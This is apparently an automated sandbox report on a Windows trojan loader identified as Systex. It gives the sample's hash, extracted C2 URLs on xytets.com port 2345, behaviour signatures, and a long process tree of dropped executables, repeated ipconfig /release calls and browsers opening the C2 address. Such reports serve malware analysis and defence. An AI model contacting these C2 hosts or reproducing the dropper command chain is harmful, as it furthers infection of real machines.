Analysis
- max time kernel
149s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
28/07/2026, 22:24
General
- Target 2026-07-28_a26a27e66f2fa1ccfde7cee211c9262f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample260728-2bb9taxflf
- SHA256 4577b635c8eb9d19489d1ad14d4c6b21f17f092406faf12975ad49aed3619fdb
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-28_a26a27e66f2fa1ccfde7cee211c9262f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-28_a26a27e66f2fa1ccfde7cee211c9262f_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\hfaxspnhfaxsqkhc.exeC:\Temp\hfaxspnhfaxsqkhc.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nkfcxupnhf.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\nkfcxupnhf.exeC:\Temp\nkfcxupnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nkfcxupnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nkfcxupnhf.exeC:\Temp\i_nkfcxupnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\smkcxupnhf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\smkcxupnhf.exeC:\Temp\smkcxupnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_smkcxupnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_smkcxupnhf.exeC:\Temp\i_smkcxupnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uomgezwupj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uomgezwupj.exeC:\Temp\uomgezwupj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uomgezwupj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uomgezwupj.exeC:\Temp\i_uomgezwupj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jheywqomjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jheywqomjh.exeC:\Temp\jheywqomjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jheywqomjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jheywqomjh.exeC:\Temp\i_jheywqomjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\trljdbvtol.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\trljdbvtol.exeC:\Temp\trljdbvtol.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_trljdbvtol.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_trljdbvtol.exeC:\Temp\i_trljdbvtol.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigaywtql.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qoigaywtql.exeC:\Temp\qoigaywtql.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigaywtql.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigaywtql.exeC:\Temp\i_qoigaywtql.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavtnlfdx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\idavtnlfdx.exeC:\Temp\idavtnlfdx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavtnlfdx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_idavtnlfdx.exeC:\Temp\i_idavtnlfdx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lfcausnkfd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lfcausnkfd.exeC:\Temp\lfcausnkfd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lfcausnkfd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lfcausnkfd.exeC:\Temp\i_lfcausnkfd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxvpnkfcax.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\zxvpnkfcax.exeC:\Temp\zxvpnkfcax.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxvpnkfcax.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zxvpnkfcax.exeC:\Temp\i_zxvpnkfcax.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cwusmkhzxu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\cwusmkhzxu.exeC:\Temp\cwusmkhzxu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cwusmkhzxu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_cwusmkhzxu.exeC:\Temp\i_cwusmkhzxu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wuomkebzxr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wuomkebzxr.exeC:\Temp\wuomkebzxr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wuomkebzxr.exe ups_ins3⤵
-
C:\Temp\i_wuomkebzxr.exeC:\Temp\i_wuomkebzxr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hecwurljge.exe ups_run3⤵
-
C:\Temp\hecwurljge.exeC:\Temp\hecwurljge.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hecwurljge.exe ups_ins3⤵
-
C:\Temp\i_hecwurljge.exeC:\Temp\i_hecwurljge.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\eywqojgbzt.exe ups_run3⤵
-
C:\Temp\eywqojgbzt.exeC:\Temp\eywqojgbzt.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_eywqojgbzt.exe ups_ins3⤵
-
C:\Temp\i_eywqojgbzt.exeC:\Temp\i_eywqojgbzt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbywtolgdb.exe ups_run3⤵
-
C:\Temp\dbywtolgdb.exeC:\Temp\dbywtolgdb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbywtolgdb.exe ups_ins3⤵
-
C:\Temp\i_dbywtolgdb.exeC:\Temp\i_dbywtolgdb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idaysqlidb.exe ups_run3⤵
-
C:\Temp\idaysqlidb.exeC:\Temp\idaysqlidb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idaysqlidb.exe ups_ins3⤵
-
C:\Temp\i_idaysqlidb.exeC:\Temp\i_idaysqlidb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvqnicavsn.exe ups_run3⤵
-
C:\Temp\xvqnicavsn.exeC:\Temp\xvqnicavsn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvqnicavsn.exe ups_ins3⤵
-
C:\Temp\i_xvqnicavsn.exeC:\Temp\i_xvqnicavsn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fcxvpnkfca.exe ups_run3⤵
-
C:\Temp\fcxvpnkfca.exeC:\Temp\fcxvpnkfca.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fcxvpnkfca.exe ups_ins3⤵
-
C:\Temp\i_fcxvpnkfca.exeC:\Temp\i_fcxvpnkfca.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vpmkfcaxsp.exe ups_run3⤵
-
C:\Temp\vpmkfcaxsp.exeC:\Temp\vpmkfcaxsp.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vpmkfcaxsp.exe ups_ins3⤵
-
C:\Temp\i_vpmkfcaxsp.exeC:\Temp\i_vpmkfcaxsp.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhezwusmkh.exe ups_run3⤵
-
C:\Temp\mhezwusmkh.exeC:\Temp\mhezwusmkh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhezwusmkh.exe ups_ins3⤵
-
C:\Temp\i_mhezwusmkh.exeC:\Temp\i_mhezwusmkh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffc12a0c188,0x7ffc12a0c194,0x7ffc12a0c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1784,i,617966802760599671,6691965070048759648,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1648,i,7114503725844226542,9975048749994863879,262144 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=2636 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2356,i,6377446102394732666,15035909891061426638,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=2628 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,2653031400177487382,1575591346938980447,2097152 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3560,i,12217711414409487731,7893480782366863799,2097152 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,12066000981081582592,4064080885386576922,2097152 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=4816 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4300,i,9829670442650554776,2029376691899427203,2097152 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,6146072154560586319,17703057987498326341,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5252 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5408,i,14417110605978270050,12966385268641097916,2097152 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3676,i,15838976969591910748,3252101217217840443,2097152 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5476,i,6206557835142494527,13439867382658281806,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3540,i,11264500172965197139,7227649842623371314,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5936,i,1253099460984379806,9676109349279721336,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5936,i,1253099460984379806,9676109349279721336,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,15709948833949301751,14839135341716028827,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6356,i,12429876996987152434,453938894336876551,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6460,i,860724748588042543,4474543038023883610,524288 --field-trial-handle=2640,i,403667816838380554,5152727686835775526,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:144⤵
-
-
